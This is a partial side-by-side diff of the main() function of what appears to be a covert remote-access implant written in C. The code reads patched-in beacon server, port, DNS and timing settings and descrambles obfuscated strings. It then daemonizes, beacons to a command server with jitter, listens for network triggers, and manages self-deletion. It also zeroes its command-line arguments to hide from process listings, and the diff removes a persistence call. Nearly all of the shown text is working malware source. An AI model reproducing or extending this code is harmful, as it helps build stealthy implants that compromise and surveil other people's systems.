| skipped 60 lines |
61 | 61 | | //************************************************************** |
62 | 62 | | // Patchable command line arguments |
63 | 63 | | |
64 | | - | struct cl_args |
65 | | - | { |
| 64 | + | struct __attribute__ ((packed)) cl_args { |
66 | 65 | | unsigned int sig; |
67 | 66 | | unsigned int beacon_port; |
68 | | - | unsigned int host_len; |
69 | | - | char beacon_ip[256]; |
70 | | - | char dns[2][16]; |
71 | | - | char iface[16]; |
72 | | - | unsigned char idKey[ID_KEY_HASH_SIZE]; |
| 67 | + | unsigned int trigger_delay; |
73 | 68 | | unsigned long init_delay; |
74 | 69 | | unsigned int interval; |
75 | | - | unsigned int trigger_delay; |
76 | 70 | | unsigned int jitter; |
77 | 71 | | unsigned long delete_delay; |
78 | | - | char sdpath[SD_PATH_LENGTH]; |
79 | | - | unsigned int patched; |
| 72 | + | unsigned int patched; // Patched flag |
| 73 | + | unsigned char idKey[ID_KEY_HASH_SIZE]; |
| 74 | + | char sdpath[SD_PATH_LENGTH]; // Path of self-delete control files |
| 75 | + | char beacon_ip[256]; // Domain name or IP address of beacon server |
| 76 | + | char dns[2][16]; // DNS server IP addresses (up to 2) in dotted quad format |
80 | 77 | | }; |
81 | 78 | | |
82 | 79 | | #define SIG_HEAD 0x7AD8CFB6 |
83 | 80 | | |
84 | | - | struct cl_args args; |
| 81 | + | struct cl_args args = {SIG_HEAD, 443, 0, 0, 0, 0, 0, 0, {0}, {0}, {0}, {{0}} }; |
85 | 82 | | |
86 | 83 | | //************************************************************** |
87 | 84 | | D ( |
| skipped 25 lines |
113 | 110 | | ) |
114 | 111 | | |
115 | 112 | | //************************************************************** |
| 113 | + | |
116 | 114 | | static int is_elevated_permissions( void ); |
117 | 115 | | static void clean_args( int argc, char *argv[], char *new_argv0 ); |
118 | 116 | | static void * asloc( char *string ); |
119 | 117 | | |
120 | | - | |
| 118 | + | //************************************************************** |
121 | 119 | | |
122 | | - | //************************************************************** |
123 | 120 | | int main(int argc, char** argv) |
124 | 121 | | { |
125 | 122 | | int c = 0; |
126 | | - | char *dnsIP = args.dns[0]; |
127 | 123 | | struct in_addr beaconIPaddr; |
128 | | - | char *szInterface = NULL; |
129 | 124 | | int trigger_delay = DEFAULT_TRIGGER_DELAY; |
130 | 125 | | unsigned long delete_delay = SELF_DEL_TIMEOUT; |
131 | 126 | | int retVal = 0; |
132 | 127 | | char sdpath[SD_PATH_LENGTH] = {0}; |
133 | 128 | | FILE *f; |
134 | 129 | | struct stat st; |
| 130 | + | BEACONINFO beaconInfo; |
135 | 131 | | #ifndef DEBUG |
136 | 132 | | int status = 0; |
137 | 133 | | #endif |
138 | 134 | | |
139 | | - | BEACONINFO beaconInfo; |
140 | | - | |
141 | | - | memset(&args, 0 , sizeof(struct cl_args)); |
142 | | - | args.sig = SIG_HEAD; |
143 | | - | memset(&beaconInfo, 0, sizeof(BEACONINFO)); |
144 | | - | beaconInfo.port = DEFAULT_BEACON_PORT; |
145 | | - | beaconInfo.initDelay = DEFAULT_INITIAL_DELAY; |
146 | | - | beaconInfo.interval = DEFAULT_BEACON_INTERVAL; |
147 | | - | beaconInfo.percentVariance = DEFAULT_BEACON_JITTER * 0.01f; |
148 | | - | |
149 | 135 | | ikey[0] = '\0'; |
150 | 136 | | init_strings(); // De-scramble strings |
151 | 137 | | |
| skipped 11 lines |
163 | 149 | | initSrandFlag = 1; |
164 | 150 | | } |
165 | 151 | | |
166 | | - | |
167 | 152 | | //To See Crypto Keys, ENABLE THIS SECTION with debug level 4... |
168 | 153 | | #if 0 |
169 | 154 | | DLX(4, |
| skipped 7 lines |
177 | 162 | | |
178 | 163 | | if (args.patched == 1) { |
179 | 164 | | // Binary was patched -- all patched times should already be in milliseconds |
180 | | - | DLX(1, printf("Binary was patched with arguments\n")); |
181 | | - | |
182 | | - | beaconInfo.host = args.beacon_ip; |
183 | 165 | | beaconInfo.port = args.beacon_port; |
184 | | - | szInterface = args.iface; |
| 166 | + | trigger_delay = args.trigger_delay; |
185 | 167 | | beaconInfo.initDelay = args.init_delay; |
186 | 168 | | beaconInfo.interval = args.interval; |
187 | | - | memcpy(ikey, args.idKey, ID_KEY_HASH_SIZE * sizeof(unsigned char)); |
188 | | - | trigger_delay = args.trigger_delay; |
| 169 | + | beaconInfo.percentVariance = args.jitter * 0.01f; |
189 | 170 | | delete_delay = args.delete_delay; |
190 | | - | beaconInfo.percentVariance = args.jitter * 0.01f; |
| 171 | + | |
| 172 | + | memcpy(ikey, args.idKey, ID_KEY_HASH_SIZE * sizeof(unsigned char)); |
191 | 173 | | memcpy(sdpath, args.sdpath, SD_PATH_LENGTH * sizeof(char)); |
| 174 | + | cl_string((unsigned char *)sdpath, sizeof(sdpath)); |
192 | 175 | | |
193 | | - | cl_string( (unsigned char *)args.beacon_ip, args.host_len ); |
194 | | - | beaconInfo.ip[args.host_len] = '\0'; |
195 | | - | DLX(1, printf("\tDecoded patched value for hostname/IP: %s\n", beaconInfo.ip)); |
196 | | - | cl_string( (unsigned char *)args.iface, sizeof( args.iface ) ); |
197 | | - | DLX(1, printf( "\tDecoded patched value for interface: %s\n", szInterface)); |
198 | | - | cl_string((unsigned char *)sdpath, sizeof(sdpath)); |
199 | | - | DLX(1, printf( "\tDecoded sdpath: %s\n", sdpath)); |
200 | | - | strncpy(sdcfp, sdpath, strlen(sdpath)); |
| 176 | + | cl_string((unsigned char *)args.beacon_ip, sizeof(args.beacon_ip)); |
| 177 | + | beaconInfo.host = args.beacon_ip; |
| 178 | + | |
| 179 | + | cl_string((unsigned char *)args.dns[0], sizeof(args.dns[0])); |
| 180 | + | cl_string((unsigned char *)args.dns[1], sizeof(args.dns[1])); |
| 181 | + | strcpy(beaconInfo.dns[0], args.dns[0]); |
| 182 | + | strcpy(beaconInfo.dns[1], args.dns[1]); |
| 183 | + | strcpy(sdcfp, sdpath); |
201 | 184 | | |
202 | | - | DLX(1, printf( "\tDecoded DNS server address: %s\n", dnsIP)); |
| 185 | + | #if 0 // Enable for debugging of patched binaries |
| 186 | + | printf("\nBinary was patched with arguments as follows:\n"); |
| 187 | + | printf("\t%32s: %-s\n", "Beacon Server IP address", beaconInfo.host); |
| 188 | + | printf("\t%32s: %-d\n", "Beacon Server Port number", args.beacon_port); |
| 189 | + | printf("\t%32s: %-s\n", "Primary DNS Server IP address", args.dns[0]); |
| 190 | + | printf("\t%32s: %-s\n", "Secondary DNS Server IP address", args.dns[1]); |
| 191 | + | printf("\t%32s: %-lu\n", "Beacon Initial Delay (sec)", args.init_delay / 1000); |
| 192 | + | printf("\t%32s: %-d\n", "Beacon Interval (sec)", args.interval / 1000); |
| 193 | + | printf("\t%32s: %-d\n", "Beacon Jitter (%)", args.jitter); |
| 194 | + | printf("\t%32s: %-lu\n", "Self Delete Delay (sec)", args.delete_delay); |
| 195 | + | printf("\t%32s: %-s\n", "Self Delete Control File Path", sdpath); |
| 196 | + | printf("\t%32s: %-d\n\n", "Trigger Delay (+/-30 sec)", args.trigger_delay / 1000); |
| 197 | + | #endif |
203 | 198 | | |
204 | 199 | | goto patched_binary; |
| 200 | + | } else { |
| 201 | + | beaconInfo.port = DEFAULT_BEACON_PORT; |
205 | 202 | | } |
206 | 203 | | DLX(1, printf("NOTE: Binary was NOT/NOT patched with arguments\n\n")); |
207 | 204 | | |
208 | 205 | | // process options |
209 | 206 | | //while(EOF != (c = getopt(argc, argv, OPT_STRING))) |
210 | 207 | | #ifdef DEBUG |
211 | | - | while((c = getopt(argc, argv, "a:cD:d:hI:i:j:K:k:P:p:S:s:t:")) != -1) |
| 208 | + | while((c = getopt(argc, argv, "a:cD:d:hi:j:K:k:P:p:S:s:t:")) != -1) |
212 | 209 | | #else |
213 | 210 | | while((c = getopt(argc, argv, ohshsmdlas3r)) != -1) |
214 | 211 | | #endif |
| skipped 16 lines |
231 | 228 | | beaconInfo.initDelay = strtoul(optarg, NULL, 0) * 1000; |
232 | 229 | | break; |
233 | 230 | | |
234 | | - | case 'I': |
235 | | - | // TODO: new option. what validation is needed? |
236 | | - | szInterface = asloc( optarg ); |
237 | | - | break; |
238 | | - | |
239 | 231 | | case 'i': |
240 | 232 | | // user enters delay in seconds and this is converted to milliseconds |
241 | 233 | | beaconInfo.interval = atoi(optarg) * 1000; |
| skipped 14 lines |
256 | 248 | | if (ikey[0] != '\0') { // Ensure that both -k and -K options aren't used together. |
257 | 249 | | // fprintf(stderr, "Option error\n"); |
258 | 250 | | fprintf(stderr, "%s\n", oe1); |
259 | | - | return -1; |
| 251 | + | return -2; |
260 | 252 | | } |
261 | 253 | | |
262 | 254 | | if (access(optarg, R_OK)) { |
263 | 255 | | fprintf(stderr, "%s\n", oe2); |
264 | | - | return -1; |
| 256 | + | return -3; |
265 | 257 | | } |
266 | 258 | | if (stat(optarg, &statbuf) != 0) { |
267 | 259 | | perror("Option K"); |
268 | | - | return -1; |
| 260 | + | return -3; |
269 | 261 | | } |
270 | 262 | | if (statbuf.st_size >= ID_KEY_LENGTH_MIN) { // Validate that the key text is of sufficient length |
271 | 263 | | sha1_file((const char *)optarg, ikey); // Generate the ID key |
| skipped 3 lines |
275 | 267 | | DLX(1, printf("\n\n\n" )); |
276 | 268 | | } else { |
277 | 269 | | fprintf(stderr, "%s\n", oe3); |
278 | | - | return -1; |
| 270 | + | return -4; |
279 | 271 | | } |
280 | 272 | | break; |
281 | 273 | | } |
| skipped 5 lines |
287 | 279 | | if (ikey[0] != '\0') { // Ensure that both -k and -K options aren't used together. |
288 | 280 | | // fprintf(stderr, "%s\n" "Option error"); |
289 | 281 | | fprintf(stderr, "%s\n", oe1); |
290 | | - | return -1; |
| 282 | + | return -2; |
291 | 283 | | } |
292 | 284 | | |
293 | | - | if ( strlen( optarg ) < ID_KEY_LENGTH_MIN ) { |
| 285 | + | if (strlen( optarg ) < ID_KEY_LENGTH_MIN) { |
294 | 286 | | fprintf(stderr, "%s\n", oe3); |
295 | | - | return -1; |
| 287 | + | return -4; |
296 | 288 | | } |
297 | 289 | | DLX(1, printf( "KeyPhrase: %s \n", optarg)); |
298 | 290 | | sha1((const unsigned char *)optarg, strlen(optarg), ikey); |
| skipped 12 lines |
311 | 303 | | strcpy(sdcfp, optarg); // Copy the path from the argument |
312 | 304 | | } else { |
313 | 305 | | fprintf(stderr, "%s\n", sde); |
314 | | - | return -1; |
| 306 | + | return -5; |
315 | 307 | | } |
316 | 308 | | break; |
317 | 309 | | |
| skipped 7 lines |
325 | 317 | | if ((dns = strtok(address_list, ","))) { |
326 | 318 | | if (strlen(dns) > 16) { |
327 | 319 | | fprintf(stderr, "%s\n", oe4); |
328 | | - | return -1; |
| 320 | + | return -6; |
329 | 321 | | } |
330 | 322 | | memcpy(beaconInfo.dns[0], dns, strlen(dns)); |
331 | 323 | | } else { |
332 | 324 | | beaconInfo.dns[0][0] = '\0'; |
333 | 325 | | fprintf(stderr, "%s\n", sdf); // Parameter missing |
334 | | - | return -1; |
| 326 | + | return -7; |
335 | 327 | | } |
336 | 328 | | |
337 | 329 | | // Get 2nd DNS server address if it was entered and validate its length |
338 | 330 | | if ((dns = strtok(NULL, ","))) { |
339 | 331 | | if (strlen(dns) > 16) { |
340 | 332 | | fprintf(stderr, "%s\n", oe4); |
341 | | - | return -1; |
| 333 | + | return -6; |
342 | 334 | | } |
343 | 335 | | memcpy(beaconInfo.dns[1], dns, strlen(dns)); |
344 | 336 | | } else |
| skipped 24 lines |
369 | 361 | | if (beaconInfo.initDelay > 0 && beaconInfo.interval == 0 ) { |
370 | 362 | | DLX(1, printf("No Beacon Interval specified!\n")); |
371 | 363 | | DLX(1, printUsage(argv[0])); |
372 | | - | return -1; |
| 364 | + | return -8; |
373 | 365 | | } |
374 | 366 | | if (beaconInfo.initDelay >= (INT_MAX-1)) { |
375 | 367 | | DLX(1, printUsage(argv[0])); |
376 | | - | return -1; |
| 368 | + | return -9; |
377 | 369 | | } |
378 | 370 | | |
379 | 371 | | if (ikey[0] == '\0') { |
380 | 372 | | DLX(1, printUsage(argv[0])); |
381 | | - | return 0; |
| 373 | + | return -10; |
382 | 374 | | } |
383 | 375 | | |
384 | 376 | | clean_args(argc, argv, NULL); // Zero command line arguments |
| skipped 4 lines |
389 | 381 | | |
390 | 382 | | if (beaconInfo.initDelay > 0) { // Beacons enabled |
391 | 383 | | |
392 | | - | if (beaconInfo.port == -1) { |
| 384 | + | if (beaconInfo.port == 0) { |
393 | 385 | | DLX(1, printf("No Beacon Port Specified!\n")); |
394 | 386 | | DLX(1, printUsage(argv[0])); |
395 | 387 | | } |
396 | 388 | | |
397 | | - | // Obtain Beacon IP address |
398 | | - | if (beaconInfo.host == NULL) { |
| 389 | + | if (beaconInfo.host == NULL) { // At this point, the domain name or IP address appears in beaconInfo.host |
399 | 390 | | DLX(1, printf("No Beacon IP address specified!\n")); |
400 | 391 | | DLX(1, printUsage(argv[0])); |
401 | | - | return -1; |
| 392 | + | return -11; |
402 | 393 | | } |
403 | 394 | | |
404 | 395 | | if (inet_pton(AF_INET, beaconInfo.host, &beaconIPaddr) <= 0) { // Determine if beacon IP is a valid address |
405 | 396 | | if (args.dns[0] == NULL && args.patched == 0) { // If not, verify that a DNS server address was specified |
406 | 397 | | DLX(1, printf("Beacon IP was specified as a domain name, but no valid DNS server address was specified to resolve the name!\n")); |
407 | | - | return -1; |
| 398 | + | return -12; |
408 | 399 | | } |
409 | 400 | | } |
410 | 401 | | } |
411 | 402 | | |
412 | 403 | | // Construct self delete control and log files with full path names |
413 | 404 | | if (strlen((const char *)sdcfp) == 0) { |
414 | | - | strcpy(sdcfp, (const char *)sddp); |
| 405 | + | strcpy(sdcfp, (const char *)sddp); // If the path wasn't specified use the default ("/var") |
415 | 406 | | } |
416 | 407 | | |
417 | 408 | | if (sdcfp[strlen(sdcfp)] != '/') // If the path is missing a trailing '/', add it. |
| skipped 20 lines |
438 | 429 | | DLX(1, printf("\"%s\" file already exists\n", (char *)sdcfp )); |
439 | 430 | | } |
440 | 431 | | |
441 | | - | if ( args.patched == 1 ) { |
442 | | - | retVal = EnablePersistence(beaconInfo.ip, beaconInfo.port); |
443 | | - | if( 0 > retVal) { |
444 | | - | DLX(1, printf("\nCould not enable Persistence!\n")); |
445 | | - | return -1; |
446 | | - | } |
447 | | - | } |
| 432 | + | #if 0 // Enable for debugging of patched binaries |
| 433 | + | printf("\nStarting beacon with the following parameters:\n"); |
| 434 | + | printf("\t%32s: %-s\n", "Beacon Server", beaconInfo.host); |
| 435 | + | printf("\t%32s: %-d\n", "Beacon Server Port", beaconInfo.port); |
| 436 | + | printf("\t%32s: %-s\n", "Primary DNS Server IP Address", beaconInfo.dns[0]); |
| 437 | + | printf("\t%32s: %-s\n", "Secondary DNS Server IP Address", beaconInfo.dns[1]); |
| 438 | + | printf("\t%32s: %-lu\n", "Initial Beacon Delay (sec)", beaconInfo.initDelay); |
| 439 | + | printf("\t%32s: %-i\n", "Initial Beacon Delay (sec)", beaconInfo.interval); |
| 440 | + | printf("\t%32s: %-f\n\n", "Initial Beacon Delay (sec)", beaconInfo.percentVariance); |
| 441 | + | #endif |
448 | 442 | | |
449 | 443 | | #ifndef DEBUG |
450 | 444 | | status = daemonize(); // for Linux and Solaris |
| skipped 7 lines |
458 | 452 | | // create beacon thread |
459 | 453 | | DLX(1, printf( "Calling BeaconStart()\n")); |
460 | 454 | | retVal = beacon_start(&beaconInfo); |
461 | | - | |
462 | 455 | | if (0 != retVal) { |
463 | 456 | | DLX(1, printf("Beacon Failed to Start!\n")); |
464 | 457 | | } |
| skipped 6 lines |
471 | 464 | | |
472 | 465 | | #ifndef __VALGRIND__ |
473 | 466 | | DLX(2, printf( "\tCalling TriggerListen()\n")); |
474 | | - | (void)TriggerListen( szInterface, trigger_delay, delete_delay ); //TODO: TriggerListen() doesn't return a meaningful value. |
| 467 | + | (void)TriggerListen(trigger_delay, delete_delay); //TODO: TriggerListen() doesn't return a meaningful value. |
475 | 468 | | #endif |
476 | 469 | | |
477 | 470 | | return 0; |
478 | 471 | | } |
479 | 472 | | |
480 | 473 | | //**************************************************************************** |
481 | | - | // used to copy argv[] elements out so they can be zeriozed, if permitted by the OS |
| 474 | + | // used to copy argv[] elements out so they can be zeroed, if permitted by the OS |
482 | 475 | | // Most helpful for unix-like systems and their process lists |
483 | 476 | | static void * asloc( char *string ) |
484 | 477 | | { |
| skipped 61 lines |